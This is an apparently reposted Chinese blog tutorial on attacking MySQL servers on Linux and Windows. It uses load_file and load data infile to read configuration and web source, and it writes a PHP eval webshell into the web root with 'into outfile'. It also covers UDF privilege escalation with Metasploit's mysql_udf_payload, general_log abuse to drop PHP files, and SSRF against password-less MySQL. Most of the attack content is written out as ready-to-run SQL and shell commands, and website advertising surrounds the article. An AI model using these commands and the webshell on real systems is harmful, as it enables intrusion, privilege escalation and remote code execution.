mysql在Linux環(huán)境下如何進(jìn)行文件讀取

這篇文章主要講解了“MySQL在Linux環(huán)境下如何進(jìn)行文件讀取”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“mysql在Linux環(huán)境下如何進(jìn)行文件讀取”吧!

10年的永平網(wǎng)站建設(shè)經(jīng)驗,針對設(shè)計、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時及時工作處理。成都全網(wǎng)營銷的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動調(diào)整永平建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計,從而大程度地提升瀏覽體驗。成都創(chuàng)新互聯(lián)從事“永平網(wǎng)站設(shè)計”,“永平網(wǎng)站推廣”以來,每個客戶項目都認(rèn)真落實執(zhí)行。

讀文件:

load_file

load_file 在滲透過程中也就是讀取文件,或者sql盲注的時候可以通過DNSlog加快注入速度。

secure_file_priv :

當(dāng) mysql secure_file_priv 配置項為空(空是""而不是NULL,NULL代表不可讀取),或者指定的一個目錄時,即可讀取文件。

mysql命令行查看 secure_file_priv 配置

show variables like "%secure_file_priv%";

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

讀取服務(wù)配置項:

條件:

1. 系統(tǒng)中關(guān)閉了 selinux

2. 知道服務(wù)配置文件路徑

3. secure_file_priv 可讀到 web 目錄

讀取mysql 配置文件

select load_file("/etc/my.cnf");

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

在Centos中,如果開啟了 selinux,是無法讀取到其他服務(wù)配置文件或者 /etc/passwd 的,需要將 selinux 關(guān)閉才能讀取。

在實際情況中,也許會有管理人員為了方便將 selinux 關(guān)閉。所以讀取下其他服務(wù)配置文件是值得一試的。

關(guān)閉 selinux

setenforce 0

讀取web源碼

條件:

1. 系統(tǒng)中關(guān)閉了 selinux

2. 知道 web絕對路徑的情況

3. secure_file_priv 可讀到 web 目錄

讀取web源碼,就可以簡單的進(jìn)行審計,查找突破口啦。

load data infile

條件:

1. 系統(tǒng)中關(guān)閉了 selinux

2. 知道 web絕對路徑的情況

3. secure_file_priv 可讀到 web 目錄

load data infile 也是讀取服務(wù)端文件的語句,同樣的也是受 secure_file_priv的限制。基本用法如下:

第一步,得有一個數(shù)據(jù)表,里頭的字段能夠存放的進(jìn)我們要讀取的文件:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

第二步,使用 load data infile 語句讀取指定文件內(nèi)容,并存入數(shù)據(jù)庫:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

假設(shè)登入的用戶權(quán)限較小,我們登入的用戶只需要用 file 、insert 和 select 權(quán)限即可,然后隨便找個數(shù)據(jù)表也可進(jìn)行讀取。

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

如果要讀取配置文件,也是一樣的需要 關(guān)閉 selinux 才行。

如果在 windows下,就沒有這么多限制哦。

寫文件

outfile

當(dāng) secure_file_priv 配置項為空或者指定了一個目錄時,且該目錄mysql有寫入權(quán)限。Mysql可寫入文件

注意:outfile 和 dumpfile 在 mysql 3.23.55版本之后,不可以覆蓋文件。只能創(chuàng)建新文件

簡單示例:

select "123" into outfile "/tmp/123.txt";

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

寫入WebShell

條件:

1.知道web目錄

2. secure_file_priv 可寫到 web目錄

以php為例:

select "<?php @eval($_GET['x']);?>" into outfile "/var/www/html/test.php";

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

dumpfile udf提權(quán)

條件:

1. mysql plugin 目錄可寫

2. secure_file_priv 可寫到 mysql plugin 目錄

由于 Centos 中默認(rèn) plugin 目錄是不可寫入的,如果要通過寫入一個 udf文件的話,還需要設(shè)置其可寫。但是不得不承認(rèn),現(xiàn)實中確實有這樣的管理員,圖方便直接將目錄設(shè)置為777

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

坑點:

(1)udf文件版本一定要和 mysql對應(yīng)。不知道m(xù)ysql什么版本可以使用如下語句查詢:

select  @@version;

(2)不要用 sqlmap 的linux udf文件,會報如下錯誤:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

因為sqlmap的udf文件沒有 ELF 頭:

備注:sqlmap udf 路徑為 /usr/share/sqlmap/data/udf/mysql/linux/

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

要用 metasploit 的 udf 文件:

備注:metasploit udf 路徑為 /usr/share/metasploit-framework/data/exploits/mysql/

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

(3)不能錯用成 outfile ,這樣子弄出來的 udf文件無法使用。估計是 outfile 進(jìn)來的不是二進(jìn)制格式,而是普通的ascii碼格式:

outfile 出來的文件格式(錯誤):

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

dumpfile 出來的文件格式 (正確):

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

使用 msf 進(jìn)行 udf 提權(quán),抓包查看其流程。

注意:

默認(rèn) mysql 傳輸過程使用了 ssl加密,直接抓包看不到內(nèi)容。我們需要將其切換為 不使用 ssl 加密

我們先停止 mysql 服務(wù):

systemctl stop mysqld

給 mysql用戶 /bin/bash權(quán)限:

vim /etc/passwd

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

然后切換到 mysql 用戶,執(zhí)行命令:

/usr/sbin/mysqld --ssl=0

參數(shù) --ssl=0 表示傳輸不使用 ssl 加密

使用 msf 模塊

exploit/multi/mysql/mysql_udf_payload

坑點:

(1)如果msf反應(yīng) no session was created:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

說明可能沒有選擇 target 和 payload

需要設(shè)置 target 為 Linux

payload 設(shè)置 linux/x86/shell/bind_tcp 就好了。高級的 meterpreter可能無法彈回來

(2)如果發(fā)現(xiàn)卡死了:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

這時我們需要連入 mysql,執(zhí)行命令:

drop function sys_exec;

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

這是因為之前沒有設(shè) target 和 payload 的原因,但 msf 已經(jīng)創(chuàng)建好函數(shù)了,只是沒有 payload 將其反彈。我們需要將原函數(shù)刪掉,讓msf 再創(chuàng)建一次才能彈回 shell

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

抓包分析

我們通過抓包,發(fā)現(xiàn)其直接寫入十六進(jìn)制碼到 udf 文件中:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取mysql在Linux環(huán)境下如何進(jìn)行文件讀取

我們先置空前面 msf 的操作:刪除其上傳的 udf 文件,刪除函數(shù)(drop function語句)。我們自己手工來一遍:

復(fù)制抓包得到的 十六進(jìn)制碼值,由于由 1w+字符,就不復(fù)制到這里了:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

連入mysql,通過 select dumpfile語句,將這一大串 udf文件的 十六進(jìn)制碼輸出到 udf文件中:

注意:由于是十六進(jìn)制碼,所以輸出的時候不需要加雙引號:

select 一大串十六進(jìn)制碼 into dumpfile "/usr/lib64/mysql/plugin/udf.so";

mysql 成功寫入udf文件后,使用語句 :

create function sys_eval returns string soname "udf.so";

即可創(chuàng)建一個函數(shù),這個函數(shù)的名字和功能由 .so 文件已經(jīng)設(shè)定好了的

我們使用的這個 udf 文件的 函數(shù)名就叫 sys_eval

直接調(diào)用即可:

select sys_eval("whoami");

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

general log

條件

1.知道web路徑

本實驗在Centos7 下使用 mysql5.7 ,先不說有 selinux 和 目錄權(quán)限問題,由于 general_log 寫出來的文件權(quán)限為 640,其他用戶(apache用戶)不可讀。導(dǎo)致php文件無法執(zhí)行。

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

所以general log 的實驗采用 windows 系統(tǒng)進(jìn)行。

注意:general log 不受 secure_file_priv 的限制哦

基本環(huán)境:

secure_file_priv 為 NULL,則 load file 和 outfile/dumpfile 皆不可用。

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

查看 general log狀態(tài):

show variables like "%general%";

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

一般 general_log 默認(rèn)是關(guān)閉的,不過這個配置我們可以手動開起來。

設(shè)置日志輸出類型為文件:

有時候 mysql 默認(rèn)日志輸出類型不是 FILE 而是 TABLE。

如果是TABLE的話,是不會將日志輸出為文件格式的。

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

需要將其類型設(shè)置為 FILE

set global log_output="FILE";

設(shè)置輸出文件路徑:

注意:windows 的路徑分隔符為 \,但在 mysql 看來,\ 是轉(zhuǎn)義符,所以我們得使用雙斜杠: \\

set global general_log_file="C:\\phpstudy_pro\\WWW\\1.php";

開啟 general log:

set global general_log=on;

由于一開啟 general log,此時在 mysql 上的所有操作都會被記錄下來。為了讓輸出的文件雜質(zhì)少一點。我們細(xì)節(jié)一點最后再開啟 general log

mysql在Linux環(huán)境下如何進(jìn)行文件讀取mysql在Linux環(huán)境下如何進(jìn)行文件讀取

SSRF對于 Mysql 的利用

基礎(chǔ):

注意:現(xiàn)在mysql連接方式有三種:

Unix套接字;

內(nèi)存共享/命名管道;

TCP/IP套接字;

Linux或Unix環(huán)境下,輸入 mysql -uroot -p123456 登錄Mysql服務(wù)器的時候用的就是 Unix套接字 的方式登錄

Windows系統(tǒng)客戶端和Mysql在同一臺電腦上,可以使用命令管道和共享內(nèi)存的方式

TCP/IP套接字是任何系統(tǒng)下都可以使用的方式,使用方式為:

mysql -h227.0.0.1 -uroot -p123456

由于Mysql有密碼的時候,是通過發(fā)送隨機(jī)挑戰(zhàn)碼來驗證的,而沒有密碼的時候不需要發(fā)送隨機(jī)挑戰(zhàn)碼。

所以我們攻擊Mysql的時候Mysql服務(wù)端必須是空密碼才可以攻擊成功。畢竟隨機(jī)的會變的東西無法猜測,就構(gòu)造不了payload了

有密碼的情況:(只發(fā)了一個字節(jié)過去就卡住了)

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

而且TCP/IP默認(rèn)采用了SSL,所以我們抓包抓的是密文包

上文也提到,要強(qiáng)制不使用ssl,加個參數(shù) --ssl=0:

其實只要客戶端和服務(wù)端任意一方不使用 ssl,整個 tcp傳輸過程都是不采用 ssl的

客戶端連接:

mysql -h227.0.0.1 -uroot -p123456 --ssl=0

坑點:

mysql5.7有了個 validate_password_length 和 validate_password_policy,是設(shè)置密碼復(fù)雜度的,而且就算密碼復(fù)雜度降到最低,還是要驗證密碼長度,但密碼長度最低只能為4個字符,所以無法設(shè)置0字符的密碼。

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

只能降低mysql版本再做實驗。

這里我做實驗的是kali的mysql,這個可以設(shè)置空密碼。但是一開始kali的mysql有點問題。

坑點:

kali中使用的是 MariaDB數(shù)據(jù)庫,它缺省使用 Unix_socket。導(dǎo)致我們登錄不需要輸入密碼,直接就登進(jìn)去了,抓包也抓不到 tcp傳輸包。

我們要將 MariaDB數(shù)據(jù)庫 修改成使用 tcp 方式傳輸。

修改配置插件(直接在 mysql 命令行打):

update mysql.user set plugin='mysql_native_password' where user='root';

刷新權(quán)限后即可:

flush privileges

實驗 SSRF

第一步、mysql創(chuàng)建實驗用戶:

create user 'root'@'%';
grant all privileges on *.* to 'root'@'%';

第二步、開個wireshark,監(jiān)聽lo網(wǎng)卡(lo網(wǎng)卡即為本地網(wǎng)卡,只會有l(wèi)ocalhost的流量)的包

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

第三步、mysql中輸入命令,并抓包:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

第四步、整理數(shù)據(jù)包:

設(shè)置只看客戶端發(fā)送的流量

用hex模式查看

將東西全部復(fù)制出去,只保留中間的十六進(jìn)制值,每個值前加個 “%”

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

變成如下的形式

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

第五步、用curl測試:

mysql在Linux環(huán)境下如何進(jìn)行文件讀取

注意,這里需要加上 --output -才能顯示完全。

感謝各位的閱讀,以上就是“mysql在Linux環(huán)境下如何進(jìn)行文件讀取”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對mysql在Linux環(huán)境下如何進(jìn)行文件讀取這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!

本文題目:mysql在Linux環(huán)境下如何進(jìn)行文件讀取
文章位置:http://muchs.cn/article12/piodgc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供、面包屑導(dǎo)航、域名注冊網(wǎng)站內(nèi)鏈、網(wǎng)頁設(shè)計公司微信小程序

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名